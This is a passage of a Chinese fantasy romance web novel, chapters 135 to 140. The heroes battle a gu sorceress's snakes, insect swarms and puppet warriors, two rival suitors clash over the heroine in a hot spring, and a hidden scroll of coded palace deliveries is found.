黑暗的甬道深处,无数双闪烁着幽绿、猩红光芒的复眼,如同地狱的星辰,密密麻麻地亮了起来。
前有蛇雨,后有地宫蛊朝!
真正的绝境降临!
第135章 血战蛊潮
“结圆阵!盾牌手向外!长矛手戒备上方!火油罐准备!”
萧景珩的怒吼声在血腥的空气中炸响,语气中是绝对的冷静。
他一手紧紧揽着怀中脸色苍白的林绾绾,一手已经握紧了腰间的长剑。
神情如修罗一般,眼眸冰冷如万载寒潭,燃烧的战意如同实质的火焰。
赫连灼金刀出鞘,刀锋在血色残阳下折射出刺目的寒芒。
琥珀色的眼眸锁定着峭壁上那道枯瘦的身影,如同锁定猎物的猛虎。
林绾绾靠在萧景珩坚实温热的胸膛上,感受着他沉稳有力的心跳和源源不断渡来的玄冥寒气,强行压下心口的灼痛与翻腾的气血。
她深吸一口气,指间已扣住了数枚闪烁着玉泽的九转玲珑针。
冰魄金昙在她发间流转着清冷光芒,如同在血海地狱中绽放的圣洁之花。
皇陵之战,在血色残阳的见证下,轰然爆发!
萧景珩的每一声指挥,都如同惊雷炸响,压过了蛇群的嘶鸣和地宫深处涌来的恐怖“沙沙”声。
血鸦卫与狼山卫皆是百战精锐,跟着指令火速做出行动!
沉重的包铁巨盾轰然落地,盾面朝外,瞬间拼接成一道坚实的环形壁垒。
长矛手位于第二层,丈许长的精铁矛尖斜指上方,寒芒闪烁,形成一片死亡丛林。
手持火油罐与**的血鸦卫则位于圆心,如同最冷静的猎手,目光死死锁定周围所有的危机!
“咻咻咻——!”
破空声尖锐刺耳!
峭壁上涌出的毒蛇,色彩斑斓,形态狰狞。
三角蛇头吞吐着猩红的信子,如同致命的箭矢,带着腥风直扑而下。
“举矛!”
负责指挥长矛阵的血鸦卫统领声音沉稳如山。
“喝!”
长矛手齐声怒吼,手臂肌肉贲张,长矛猛地向上一挺。
“噗嗤!噗嗤!噗嗤!”
如同串糖葫芦一般!
无数毒蛇被穿在矛尖之上!
蛇躯疯狂扭动,毒液四溅!
矛杆剧烈震颤。
更有毒蛇撞在盾牌上,发出沉闷的“砰砰”声,旋即被盾牌缝隙中刺出的短刀斩断。
“火油!放!”
萧景珩的命令响起。
“砰!砰!砰!”
早已准备好的火油罐被奋力掷向峭壁上毒蛇最密集的区域。
“咻咻咻——!”
紧随其后的是燃烧的火箭!
烈焰冲天而起,粘稠的火油附着在峭壁和蛇群上猛烈燃烧。
空气中瞬间弥漫开刺鼻的焦臭味。
无数条毒蛇在火海中扭曲、爆裂、化为焦炭!
峭壁上的毒蛇攻势为之一滞!
“看来开胃菜你们不是很喜欢。”
蛊婆婆站在鹰嘴岩上,发出夜枭的怪笑,手中的蛇头骨杖猛地指向洞开的地宫入口。
“宝贝们,盛宴开始了!撕碎他们!”
蛊婆婆的话音刚落,那令人头皮炸裂的“沙沙”声骤然放大到极限。
如同汹涌的海浪拍击礁石。
无数闪烁着幽绿、猩红光芒的复眼,密密麻麻从黑暗甬道深处亮起!
紧接着,一片紫黑色的“浪潮”猛地涌了出来。
是蚀心蚁!
但比慈宁宫秘库中的更加巨大,更加狰狞!
每一只都有铜钱大小,口中的利齿如同剪刀般,闪烁着金属般的寒光。
它们如同训练有素的军队,行动迅捷如风。
所过之处,地上残留的尸体瞬间被覆盖,眨眼间只剩下一具具森然白骨。
更令人心胆俱裂的是,在这恐怖的虫潮之后,沉重的脚步声如同闷雷般响起!
数十道身影从黑暗中踉跄走出。
它们身形高大,皮肤呈现出诡异的青紫色,肌肉虬结,肢体全部发生畸变,覆盖着如同甲壳般的硬痂。
“让你们尝尝我的药人傀儡,这才是我真正的铠甲部队!”
蛊婆婆眼中是对这场战斗完全胜利在握的绝对信心!
傀儡眼中原本没有任何神采,但看到地宫入口的几人后,瞬间迸发出对他们血肉的贪婪。
“火墙!快!”赫连灼厉声大喝!
他带来的狼山卫反应极快,将仅剩的火油罐疯狂投向地宫入口涌出的虫潮。
“轰--!”
又一道火墙腾起,暂时阻挡了蚀心蚁的冲击。
但那些药人傀
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儡却悍不畏火。
它们发出意义不明的嘶吼,竟直接撞破火墙。
身上沾染着火焰,如同地狱爬出的恶鬼,朝着圆阵猛扑而来。
火焰灼烧着它们的皮肉,发出“滋滋”的声响和焦肉味,却丝毫没有阻挡住它们疯狂的前进。
“重**,射关节!”萧景珩声音冰冷如铁。
他一手依旧紧紧揽着林绾绾,另一只手已拔出腰间长剑。
剑身狭长,寒芒吞吐,无形的煞气弥漫开来!
“嘣!嘣!嘣!”
圆阵中心,数架沉重的弓**被血鸦卫迅速架起。
粗如儿臂,顶端带着三棱倒刺的破甲**箭,在机括的巨响中被激发!
目标直指冲在最前方,那群被强化的药人傀儡!
“噗嗤!噗嗤!”
**箭精准地射穿了一个药人傀儡的膝盖。
巨大的冲击力带着它庞大的身躯向后倒飞。
另一支则狠狠钉入另一个药人傀儡的肘关节连接处。
“咔嚓!”
令人牙酸的碎裂声响起。
那药人傀儡的手臂竟被硬生生射断。
污血和粘稠的组织液喷溅而出。
“吼--!”
断臂药人发出痛苦的咆哮,更加疯狂地冲来。
“盾牌!顶住!”血鸦卫统领怒吼!
最前方的盾牌手发出震天的咆哮,将全部力量都压在盾牌上。
“咚!!!”
药人傀儡狠狠撞在盾阵上,如同攻城锤撞击城门。
巨大的力量让最前方的盾牌手闷哼一声,脚下犁出深深的沟壑。
坚固的盾阵瞬间向内凹陷。
“刺!”
第二排的长矛手抓住间隙,长矛从盾牌缝隙中狠狠刺出。
目标正是药人傀儡相对脆弱的腰腹和腋下。
污血喷涌!
但药人傀儡生命力极其顽强。
受伤反而更加激发了它的凶性。
它开始疯狂地撕扯盾牌和矛杆!
“刀斧手!快!”
阵型变换,手持重斧和弯刀的战士从侧翼悍然杀出。
沉重的战斧带着开山裂石之势,狠狠劈向药人傀儡的肢体关节或相对纤细的脖颈!
第136章 双生共鸣
地宫入口处,战场瞬间陷入更残酷的状态。
火焰燃烧,毒蛇嘶鸣。
蚀心蚁啃噬白骨的声音令人毛骨悚然。
药人傀儡的咆哮与战士的怒吼交织。
血与火交融着死亡与挣扎,在这地宫入口构成一幅地狱图景。
林绾绾被萧景珩牢牢护在身后,处于相对安全的圆阵中心。
她飞速扫视着整个战场。
伤者太多了!
虽然遏制住了大范围的攻击,但是药人傀儡利爪上附带的毒素,峭壁上毒蛇喷溅的毒液…
还是让血鸦卫跟狼山卫的勇士们在不断倒下。
眼见随身带着的金疮药毫无作用,林绾绾只能先在倒地的战士身上的要穴插上银针,防止毒素攻击心脉。
“圣女,小心!”
青蚨的惊呼声突然响起。
一条通体赤红如血的毒蛇,竟不知何时突破了防线,如同赤色闪电般从侧面射向林绾绾的脖颈。
速度之快,令人猝不及防。
林绾绾正全神贯注于施针救人,察觉时已完全来不及闪躲。
她瞳孔微缩,身体本能地向后一仰。
就在这千钧一发之际!
“嗤--!”
一道比毒蛇更快、更冷的寒芒破空而至。
那是一柄薄如柳叶,通体幽蓝的飞刀。
它精准无比地将那条赤红毒蛇钉死在林绾绾脚边的地面上。
蛇头被贯穿,兀自扭曲挣扎。
出手的是萧景珩。
他甚至没有回头,仿佛背后长了眼睛。
他正一剑一个,将扑到近前的药人傀儡从肩胛骨贯穿。
随之手腕一抖,剑上的污血被尽数甩落。
动作行云流水,带着一种残酷的美感。
他微微侧首,目光扫过林绾绾,确认她无恙后,心下大安。
随后,将林绾绾又往自己身后带了带,以身体作为她最坚实的屏障。
萧景珩的气息沉稳而强大,带着淡淡的冷冽松香和血腥味,安抚了林绾绾紧绷的神经。
“哼!小贱种,命还挺硬。”
峭壁上的蛊婆婆阿慕见偷袭一次次的失败,发出恼怒的尖啸,蛇杖再次重重一顿。
更多的毒蛇从岩峰中涌出。
同时,她口中发出一种尖锐刺耳、不成调的音节。
随着这诡异的音节,地宫入口处,那被火墙阻挡的蚀心蚁潮仿佛被注入了狂暴的指令。
它们竟不再畏惧火焰,如同**般疯狂地扑向燃烧的火油。
一层又一层。
刺鼻的焦臭味浓烈到令人作呕。
火墙竟硬生生被灭了一大片。
汹涌的虫潮再次涌来。
更可怕的是,那些强化的药人傀儡,空洞的眼窝中骤然亮起猩红光芒,动作变得更加迅捷狂暴,力量也再次暴涨!
它们开始“有意识”地**盾阵的薄弱点。
圆形盾阵的压力瞬间倍增。
盾阵在狂暴药人傀儡的冲击下发出不堪重负的呻吟。
长矛手被震得虎口崩裂。
不断有战士被突破的蛊虫爬上身体啃噬,或者是被药人傀儡的利爪扫中,惨叫着倒下。
形式急转直下。
“阁主!火油耗尽,**箭也快没了。”
血鸦阁统领声音嘶哑地喊道。
赫连灼金刀挥舞如风,刀气纵横,将扑到近前的几只药人傀儡逼退。
但更多的傀儡却还是如同潮水般持续涌来。
赫连灼琥珀色的眼眸看向萧景珩,又看向峭壁上那个疯狂的老妖婆,厉声道:“必须先解决那个老毒妇,否则她能源源不断地驱使这些鬼东西。”
萧景珩眼眸中寒光一闪,杀意凛然。
他何尝不知!
但蛊婆婆所在位置极其刁钻,强弓箭**难以奏效,轻功高手在漫天雨蛇和下方蛊潮的干扰下,也难以接近。
就在这万分危急的关头!
“萧景珩!”
林绾绾紧紧抓住萧景珩的手臂,声音带着一种奇异的冷静和决绝,目光灼灼地看向他心口的位置。
“咱们可以试试双生火焰!共鸣!”
萧景珩身体一震,他瞬间明白了林绾绾的意思。
双生火焰印记共鸣时爆发的力量,足以暂时压制甚至干扰蛊婆婆对蛊虫的操控。
但代价是,两人同时暴露在巨大的痛苦和风险之下!
尤其是在这混乱的战场上!
“不
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行!太危险了!”萧景珩断然拒绝。
他宁愿自己冲上去搏命,也不愿意林绾绾承受巨大的痛楚。
“没时间犹豫了!我们没有别的选择!”
林绾绾眼神坚定,语气中充满不容拒绝的力量。
“相信它!也要相信我!”
她指着萧景珩心口的位置,又指了指自己心口。
封禁的玉佩在剧烈躁动,灼痛如同火烧,但同时也传来一种奇异的脉动。
看着林绾绾眼中奋不顾身的决绝,萧景珩的心仿佛被狠狠攥紧。
他自己也明白,这或许是目前唯一的破局之法。
最终,他深吸一口气,眼中最后一丝犹豫被决绝取代。
“好!”
萧景珩低吼一声,猛地将林绾绾拉入怀中,紧紧抱住!
两人身体紧密相贴,隔着衣物,心口的位置紧紧相抵。
“赫连灼!青蚨!为我们**!”
萧景珩的吼声穿透战场的喧嚣。
赫连灼虽然不明所以,但毫不犹豫地挥刀斩退几个傀儡。
随后与青蚨一起,率领最后剩余的几人,瞬间收缩到萧景珩和林绾绾周围,组成一道最坚固的人墙。
“开始!”
萧景珩和林绾绾同时闭上眼睛,摒弃所有杂念。
二人的意念沉入心口那枚火焰印记上。
轰——!!
力量如同沉寂万年的火山在灵魂深处轰然爆发!
又似两颗星辰在体内猛然撞击!
一股难以言喻的、撕裂灵魂的剧痛瞬间席卷了两人。
萧景珩只觉得一股焚尽天下的灼热洪流从心口炸开,疯狂冲击着他的经络及身体各处。
冰与火两股力量,在他四肢内疯狂对冲、撕扯。
他闷哼一声,身体剧烈颤抖,喉头涌上一股腥甜。
林绾绾的感受则截然相反。
一股极致的冰寒,仿佛来自九幽地狱般,从心口瞬间涌向全身。
她感觉如坠冰窟,连血液仿佛都要被冻结。
而心口玉佩内的蚀心蚁在冰火交织的恐怖能量冲击下,更是疯狂反噬。
林绾绾脸色愈发惨白。
她牙关紧咬,一缕鲜血从嘴角溢出。
第137章 醋海生波
就在林绾绾和萧景珩二人的痛苦达到顶点刹那。
嗡——!!
一股无形无质、却磅礴浩瀚到难以想象的奇异波动,以两人心口为中心,如同平静湖面投入巨石,猛地向四面八方扩散开来。
这股波动所过之处,时间仿佛都凝滞了一瞬。
峭壁上,那如雨般扑落的毒蛇,动作一僵,如同喝醉了酒般在空中乱扭,噼里啪啦地摔落下来。
地面上,汹涌的蚀心蚁潮像是被施了定身咒,疯狂爬行的动作也骤然停止。
那些强化的药人傀儡,眼中的猩红光芒剧烈闪烁,动作也变得迟滞、混乱起来。
甚至有几个药人傀儡仿佛是失去了提线的木偶一般,茫然地站在原地。
峭壁上,蛊婆婆阿慕刺耳的尖啸声戛然而止。
她枯瘦的身体一晃,手中的蛇头骨杖差点脱手,脸上更是露出了惊骇的表情。
她感觉自己与下方的蛊潮、药人傀儡之间的精神联系,被一股霸道无比的力量狠狠切断、干扰了!
“这是什么东西?”蛊婆婆失声尖叫,声音中满是恐惧。
就是现在!
“赫连灼!”
萧景珩强忍着体内冰火对冲的剧痛,声音嘶哑地吼道。
他的眼神亮得惊人,如同燃烧的寒星。
“交给我!”
赫连灼蓄势待发。
他如同一头寻找机会的金色雄狮。
在双生火焰共鸣爆发的瞬间,他已将全身力量灌注于双腿,蓄势待发!
“老妖妇!拿命来——!”
脚下坚硬的岩石被赫连灼踏得粉碎。
紧接着,他的身影化作一道狂暴的金色流光,无视下方混乱的蛇群和迟滞的蛊虫,以及近乎垂直的角度,沿着陡峭的绝壁,悍然冲向鹰嘴岩上的蛊婆婆。
他手中的金刀,刀气撕裂空气,目标直指蛊婆婆的头颅。
这一刀,凝聚了他所有的愤怒、仇恨和力量。
势要将其斩于自己的刀下。
蛊婆婆刚从林绾绾和萧景珩两人的恐怖力量下勉强回神,就看到了那道带着死亡气息的金芒。
死亡的阴影笼罩着蛊婆婆。
她尖叫一声,猛地向旁边一扑,同时将手中的蛇头骨杖狠狠掷向赫连灼试图阻挡。
金刀劈落!
虽然被骨杖阻挡了一下,刀势稍偏,但凌厉无匹的刀气依旧狠狠斩在蛊婆婆的右肩之上。
“啊--!”
凄厉的惨叫响彻这个皇陵内。
一条枯瘦的、布满脓疮和疤痕的手臂,连同她手中紧握的那半枚金昙同心佩,高高飞起。
污血如同喷泉般从她断肩处狂涌而出。
“噗通!”
断臂和玉佩一起,跌落到峭壁下方。
蛊婆婆阿慕如同破麻袋般重重摔在鹰嘴岩边缘,半边身子被鲜血染红。
她脸上充满了极致的痛苦和怨恨。
随后,她一只手支撑起身体,慢慢坐起。
眼睛还死死盯着鹰嘴岩不远处如同战神般屹立的赫连灼,还有那两道紧紧相拥、气息微弱却散发着奇异波动的人影。
“林绾绾,萧景珩,赫连灼!你们…毁我大计!断我手臂!”
她声音怨毒如同九幽厉鬼,“等着吧!你们都会死!都会成为圣蛊的祭品!皇帝陛下,也不会放过你们的…”
说话声被剧烈的咳嗽和涌出的鲜血打断。
她怨毒地看了众人一眼,左手猛地拍向腰间一个不起眼的皮囊。
“噗--!”
一大篷浓烈刺鼻的墨绿色烟雾炸开,瞬间将她枯瘦的身影笼罩。
烟雾迅速扩散,带着强烈的腐蚀性和麻痹效果。
“小心毒烟!”
萧景珩在下方提醒。
赫连灼一刀挥出。
凌厉的刀风将涌向自己的毒烟劈散,但视线却已被遮挡。
待毒烟消散,鹰嘴岩上哪还有蛊婆婆的身影。
只留下刺目的血迹和半截断裂的蛇头拐杖。
“让她跑了!”
赫连灼狠狠一拳砸在岩石上,满脸不甘。
但此刻,他顾不上追击。
下方战场虽然因林绾绾和萧景珩二人的力量共鸣和蛊婆婆重伤逃遁而压力大减,但残余的蛊虫和药人傀儡依旧需要清理。
更重要的是…
他担忧的目光立刻
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投向峭壁下方。
双生火焰共鸣爆发的恐怖力量褪去后,留下的二人似乎是被抽空了所有精气神,正在承受着巨大空虚和撕裂般的剧痛。
强撑的那口气一松,萧景珩和林绾绾同时身体一软,再也支撑不住,齐齐向后倒去。
“绾绾!”
“阁主!”
周围响起了关切的呼喊声。
赫连灼从峭壁上飞身掠下。
稳稳落地后,金刀插低,然后伸出强健的手臂,一把揽住了林绾绾向后软倒的身体。
几乎在赫连灼扶住林绾绾的同时,一道冰冷的视线刺在他的身上。
视线的来源是被血鸦卫及时扶住的萧景珩。
他的目光如同寒冰深渊,死死盯着赫连灼揽着林绾绾的那只手臂。
一股无形的低气压以萧景珩为中心弥漫开,周围的温度仿佛都降低了几分。
赫连灼自然也感受到了那几乎要将自己冻僵的寒意。
他眉头微蹙,琥珀色的眼眸迎上萧景珩冰冷的目光,带着莫名的烦躁。
这都什么时候了?这人脑子里在想些什么?
“赫连灼,辛苦你,这次多亏你。”林绾绾幽幽转醒,虚弱的声音打破了这诡异的僵持。
“我好多了,谢谢你。”
说话间,她强撑着自己从赫连灼的臂弯中站直身体。
虽然脸色依旧苍白如雪,脚步虚浮,但眼神已经恢复了清明。
她轻轻推开赫连灼的搀扶,脚步踉跄却坚定地走向萧景珩。
赫连灼的手臂僵在半空,看着林绾绾毫不犹豫地走向萧景珩的背影,眼神微微一黯。
而萧景珩看着林绾绾主动挣脱赫连灼走向自己,眼中那骇人的冰寒才开始稍稍褪去。
他无视自己的虚弱,一把将踉跄走来的林绾绾紧紧揽入怀中,动作带着一种近乎霸道的占有欲。
他的手臂如同铁箍般环着林绾绾的腰,将她整个人都圈禁在自己气息笼罩的范围之内。
冰冷的眼神带着警告扫过赫连灼,如同宣誓**。
赫连灼被他这毫不掩饰的醋意和占有姿态弄得心头火起,金刀猛地握紧。
第138章 战后修整
“景珩,先清理战场…救人要紧…”
林绾绾靠在萧景珩怀里,感受着他胸膛剧烈的起伏和同样虚弱的身体,心中满是心疼。
她自己也没好到哪儿去。
说话的力气也快没了,体内经脉如同被烈火焚烧后又投入冰窟。
剧痛阵阵袭来,全靠自己意志支撑。
“青蚨,指挥清理残敌,救治伤员。”
萧景珩冷声下令,声音沙哑。
他低头看着怀中的人。
冰冷的眸底深处是无法掩饰的关切和心疼,声音不自觉放柔了几分,“撑住,我带你离开这里。”
“嗯。”
林绾绾疲惫地闭上眼,将头靠在萧景珩的肩窝,汲取着他身上熟悉的冷冽气息。
赫连灼看着两人依偎在一起的身影,心头如同打翻了五味瓶,酸涩、憋闷,还有一种说不清道不明的失落。
他烦躁地转过身,将怒火发泄在残余的药人傀儡和蛊虫身上,金刀挥舞得虎虎生风。
在血鸦卫和狼山卫的奋力清剿下,残余的蛊虫和药人傀儡很快被肃清。
战场一片狼藉,尸骸遍地。
空气中满是浓重的血腥和焦臭。
“阁主,圣女,狼主,此地不宜久留。蛊虫虽然暂时肃清,但地宫深处情况不明。我们现在伤员众多,急需安置治疗。”
青蚨迅速汇报。
她身上也带着不轻的伤口,但眼神依旧锐利。
萧景珩点头,目光扫过满地的伤员,最终落在林绾绾苍白的脸上。
“让大家都先退出去,到皇陵外我们最近的据点。”
“好!”
赫连灼压下心头的烦躁,也深知大局为重。
一行人迅速撤离这血腥的修罗场,留下部分人手处理善后,收敛阵亡将士骸骨并焚烧蛊虫尸骸以防瘟疫。
******
血鸦阁据点,位于皇陵山脉外围一处隐秘的山谷之中。
夜色深沉,山庄内却灯火通明,处处弥漫着浓重的药味和紧张的气氛。
伤员被安置在不同的院落。
医官和懂些医术的血鸦卫、狼山卫忙得脚不沾地。
据点最深处,一处引天然温泉活水注入的精致浴池内,水汽氤氲,带着淡淡的硫磺气息。
当初,萧景珩受寒毒发作侵扰,所以几乎每个据点都准备了温泉池,以便自己毒发时能迅速缓解。
如今更是派上了大用场。
此时,林绾绾整个人浸泡在温热的泉水中,只露出肩膀以上。
水面上还漂浮着各种驱寒解毒,舒筋活络的药材。
她闭着眼,长长的睫毛上挂着细小的水珠,脸色在温泉的滋养下恢复了些许红润。
但眉宇间依旧残留着疲惫和痛楚。
双生火焰共鸣带来的反噬非同小可,如同在体内经历了一场天翻地覆的战争。
萧景珩浸泡在温泉池水的另一侧。
只穿着单薄的里裤,精壮的上身暴露在氤氲的水汽里。
水珠顺着他流畅而充满力量感的肌肉线条滚落,锁骨处那枚火焰印记在雾气中若隐若现。
他背靠壁池,闭目调息,试图平息体内因共鸣而变得不可控的玄冥寒毒。
他的脸色比林绾绾看上去更白几分。
薄唇紧抿,显然也在承受着巨大的痛苦。
两人之间隔着朦胧的水汽,沉默无言。
只有水流潺潺的声音和彼此轻微的呼吸声。
“吱呀”一声,浴池的竹门被轻轻推开。
赫连灼端着一个托盘走了进来。
托盘上放着一个精致的玉碗,里面是冒着热气的深褐色药汁,散发着浓郁的人参味和药香。
他换了一身干净的北漠常服。
琥珀色的眼眸扫过池中两人,尤其在看到萧景珩赤裸着上身和林绾绾被水汽熏得通红的侧脸时,眼神微微一黯,随即恢复正常。
“绾绾,”赫连灼径直走到林绾绾这边的池畔,蹲下身,将托盘放到旁边,声音带着关切。
“这是北漠秘制的‘雪参养心汤’,用百年雪参做主药,辅以冰莲,玉髓芝等药材,最能固本培元,修复心脉受损。你内伤不轻,快趁热喝了。”
他说着,端起玉碗,自然而然的就要递到林绾绾唇边。
几
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乎是同时。
一股冰冷刺骨的寒意从池水另一侧传来。
整个浴池的温度瞬间骤降。
萧景珩猛地睁开眼,眼神中带着毫不掩饰的冰冷敌意,直刺向赫连灼。
他放在池边的手猛然握紧,指尖泛白,手背上青筋暴起。
林绾绾也睁开了眼,看到赫连灼递到嘴边的药碗,随后感受到身边的寒意,心头一跳。
她抬手,轻轻挡开了赫连灼递过来的药碗,声音中隐隐有一丝疏离。
“多谢狼主好意,药放一边就好,待会我会喝的。”
言语间,林绾绾伸手接过玉碗,指尖不可避免地与赫连灼的手触碰了一下。
这微小的触碰,却如同点燃了**桶。
萧景珩猛地从池中站起,水光四溅,精壮的上身暴露无遗。
水珠顺着紧实的肌肉滚落,锁骨处的火焰印记仿佛也燃烧了起来。
他来到林绾绾跟赫连灼中间,一把夺过药碗。
“送药不需要靠得那么近。”萧景珩的声音像是从牙缝里挤出来,带着浓浓的醋意和怒火。
“绾绾是我的人,这种献殷勤的事,以后就不劳赫连狼主费心了。”
萧景珩如同捍卫领地的凶兽,将林绾绾挡在自己身后,隔绝了赫连灼的视线。
“你的人?呵呵!太子殿下怕不是忘了,我父王与绾绾母亲,早就为我二人订下了婚约,绾绾可是我的未婚妻!”
赫连灼刻意加重了“未婚妻”三个字,琥珀色的眼眸挑衅地看着萧景珩。
未婚妻!
这三个字如同最锋利的冰锥,狠狠刺入萧景珩的心脏!
一直以来,自从在北漠王帐内听到老狼主说二人有婚约这个事情,它就一直像一根刺一样扎在自己心里。
这也就是为什么,他每次看到赫连灼接近绾绾,他就会控制不住自己的情绪。
而此刻,听到这些话,更是瞬间点燃了他压抑在心底最深处的恐惧和暴戾!
萧景珩周身的气息变得愈发危险。
玄冥寒气不受控制地外溢,浴池内的水汽瞬间凝结成细小的冰晶!
第139章 我心匪石
“够了!”
一声清冷的厉喝骤然响起。
林绾绾拿起温泉池边的衣服,从池中站起。
她脸色冰冷,眼神锐利,直视着剑拔弩张的两人。
林绾绾一把抓住萧景珩凝聚寒气的手腕,入手冰冷刺骨。
她的声音满是压抑的怒火,“萧景珩!收起你的寒气。你这是想要伤上加伤吗?”
同时,她冰冷的目光扫过赫连灼,“赫连灼!婚约之事,我从没有亲口承认。那不过是你父王与我母亲当年的戏言。我感激你在我遇到困境的时候对我施以援手,但是…”
林绾绾深深看了萧景珩一眼,“我心匪石,不可转也。”
她的话如同冰水,瞬间浇熄了两人之间的剑拔弩张。
赫连灼被林绾绾眼中的冰冷和话语里的疏离刺得心头一疼。
戏言?不可转?
他张了张嘴,看着林绾绾维护萧景珩的姿态,一股巨大的失落和酸涩涌上心头。
赫连灼最终什么也没说,只是深深地看了林绾绾一眼。
那眼神复杂难言。
有受伤,有不解…也有深深的执着。
种种情绪最后只化成一句无声的叹息,随后便大步流星地离开温泉。
竹门在他身后被摔得震天响。
温泉内,只剩下林绾绾和萧景珩两人。
池水水温怡人,但周遭的空气却降到了冰点。
萧景珩被林绾绾抓着手腕,感受着她掌心内传来的温热和力量,看着她冰冷含怒的侧脸,心中翻腾的暴戾和醋意瞬间被驱散大半,取而代之的是一种委屈和…害怕。
他怕林绾绾真的在意那个婚约,怕她会看在她母亲地份上选择赫连灼。
萧景珩反手紧紧握住林绾绾的手,力道大得让林绾绾微微蹙眉。
他低下头,墨色发丝垂落,遮住了他眼底翻涌的情绪,声音带着沙哑和脆弱。
“绾绾,你会承认那个婚约吗?”
看着萧景珩这副如同被抛弃的模样,林绾绾满腔的怒火瞬间泄了大半,只剩下无奈和心疼。
这个在外人面前冷酷强大、杀伐果决的血鸦阁主,在她面前竟然会出现如此患得患失的一面。
“傻瓜。”
林绾绾轻轻叹了口气,语气终是软了下来。
她伸出手,抚上萧景珩冰冷紧绷的脸颊,指尖描绘着男人紧抿的唇线。
“我的心意,你还不明白吗?什么婚约,在我眼里,也抵不过你为我挡下的任何一次危险。”
她的声音轻柔,却如重锤一般,敲在萧景珩的心上。
萧景珩抬起头,对上林绾绾清澈而坚定的眼眸。
那里面没有丝毫犹豫和动摇,只有对他满满的信任和…情意。
所有的不安,暴戾…在这一刻烟消云散。
一种巨大的狂喜和难以言喻的柔情瞬间淹没了他。
萧景珩再也抑制不住,猛地低下头,狠狠攫住林绾绾的双唇。
这个吻,带着劫后余生的庆幸,带着浓烈到化不开的占有欲,更带着几乎要将林绾绾揉进骨血里的深情。
萧景珩的手臂紧紧箍着林绾绾的纤腰,将她整个人都嵌入自己怀中。
冰冷的唇瓣带着温泉的热度,辗转厮磨,攻城略地。
“唔…”
林绾绾被萧景珩突如其来的、近乎粗暴的亲吻弄得有些喘不过气。
但感受到他激烈心跳下那份深沉的爱意和不安,她的心瞬间软成了一汪春水。
她不再抗拒,反而主动踮起脚尖,伸出双臂环住萧景珩的脖颈,生涩却热烈地回应着他。
唇齿相依间,是冰与火的交融,是灵魂最深处的共鸣。
所有的言语在此刻都显得苍白。
唯有这唇齿间最原始的触碰,才能宣泄彼此心中汹涌的情感。
温泉池内,温度急剧攀升。
暧昧的气息在湿热的空气中流淌。
萧景珩的吻渐渐从粗暴变得温柔而缠绵,带着无尽的怜惜和珍视。
他一手扣着林绾绾的后脑,持续加深这个吻,另一只手紧紧环着林绾绾的腰肢,仿佛是抱着世间的珍宝。
不知过了多久,直到两人都气喘吁吁,才缓缓分开。
林绾绾脸色绯红,眼波如水,靠在萧景珩剧烈起伏的胸膛上。
萧景珩下巴抵着林绾绾的发顶,手臂依旧紧紧环着她,感受着怀中的温软。
“以后…不准让他碰着你。一根头发丝都不行。”
萧景珩的声音满是沙哑,还有一丝撒娇的意味,说话间下巴在林绾绾的发顶蹭了蹭。
林绾绾失笑,轻轻捶了他一下,“醋坛子。”语气却是纵容。
她顿了顿,正色道:“赫连灼他终究是北漠狼主,而且跟你我二人渊源很深。今日若非有他,蛊婆婆未必能被重创。你不要对他太有敌意。”
“我知道。”
萧景珩闷闷地应了一声,将林绾绾搂得更紧,“但我就是…控制不住。”
一想到赫连灼和绾绾之间那该死的婚约,还有赫连灼有时候看向绾绾的眼神,他就恨不得把那家伙丢回北漠冰原上去。
林绾绾知道这是萧景珩爱之深的表现,轻轻拍了拍他的背,“好了,快坐下。你的内伤也不轻,我帮你行针疏导寒气。”
两人重新坐回温热的泉水中。
林绾绾收敛心神,取出九转玲珑针。
她的动作轻柔而专注,指尖萦绕着淡淡的冰火之气。
针尖精准地刺入萧景珩后背督脉上的几处大穴,以针为引,疏导着他体内因双生火焰共鸣而紊乱、失控的玄冥寒气。
同时,温热的泉水加上药材的药力,也开始滋养萧景珩受损的经脉。
萧景珩闭着眼睛,感受着背后针尖传来的、带着林绾绾独特气息的暖流,如同最熨帖的暖阳,一点点驱散着骨髓深处的寒意。
紧绷的神经终于缓缓放松下来,一种前所未有的安宁感包裹着他。
“对了,”林绾绾一边行针,一边想起正事,低声道,“蛊婆婆虽然逃了,但她断臂时那半枚玉佩跟着一起掉了下来。我让青蚨去找了。”
“嗯。”
萧景珩应了一声,声音中带着一丝慵懒,“那玉佩是关键。若是两块合一,或许能解开地宫核心的秘密,甚至…找到彻底解决长生蛊的办法也说不一定。”
两人正低声交谈着,竹门再次被轻轻敲响。门外传来青蚨的声音。
第140章 战前准备
“阁主,圣女!”青蚨的声音里带着掩盖不住的悸动。
“进来。”萧景珩沉声道。
青蚨应声推门而入。
手中捧着一个用油布仔细包裹的物件,以及一根断裂的蛇头骨杖。
她脸色凝重,眼神却亮得惊人。
“东西找到了!全都在峭壁下方的乱石堆里!里面不仅有那老虔婆的断臂跟她手中的玉佩,还有她被砍断的半截蛇头骨杖。”
她将油布包和骨杖放在池边。
林绾绾闻言,迅速起身来到池边。
她擦干手后,拿起油布包小心打开。
果然!是另外半枚金昙同心佩!
温润的玉质还有边缘的纹路,与她封禁在盒中的另外半枚几乎一模一样。
玉佩核心处同样流淌着暗金色的流光,带着一种邪异而强大的能量波动。
两块玉佩虽然没放在一起,却仿佛有一股巨大且无形的牵引力,激发的它们想要合二为一。
“合则生…分则亡…”
林绾绾嘴里喃喃念叨着太后的话,指尖轻轻拂过玉佩。
她体内的力量似乎也受到了波及,心口的火焰印记一直微微发热。
青蚨又拿起那断裂的蛇头骨杖。
“属下检查骨杖时,在蛇头断裂的颅腔内,发现了这个。”
她小心地从蛇头骨杖断裂处抠出一个被蜡封得严严实实、仅有小指粗细的黑色金属小筒。
林绾绾接过金属小筒,指尖用力捏碎蜡封,拧开筒盖。
里面是一卷被卷得极细的、泛黄的绢帛。
她小心地将绢帛展开。
上面的字迹娟秀,显然是女子所书,但字里行间却处处透着一丝阴冷。
开头赫然是几行触目惊心的记录:
“大胤十年,三月初九,送“朱砂”三斤入宫,交由太监总管高德胜。”
“大胤十一年,腊月二十三,送“石钟乳”五匣入内务府,交柳贵妃处。”
“大胤十二年,七月初一,“石钟乳”成色不佳,主上震怒,责罚采办内侍三人。”
……
记录时间跨度长达数年!
内容看似只是简单的物品交接记录,但“朱砂”和“石钟乳”这些名称,却让林绾绾想到了更可怕的东西。
“朱砂…石钟乳…”
林绾绾声音中是彻骨的寒意,“父亲说过,在宫闱秘录中,朱砂常被用来暗喻处子经血。而石钟乳…因其形似胎盘,常被用来代指…紫河车!”
萧景珩闻言,拳头猛地攥紧,指节发出咯咯的声响。
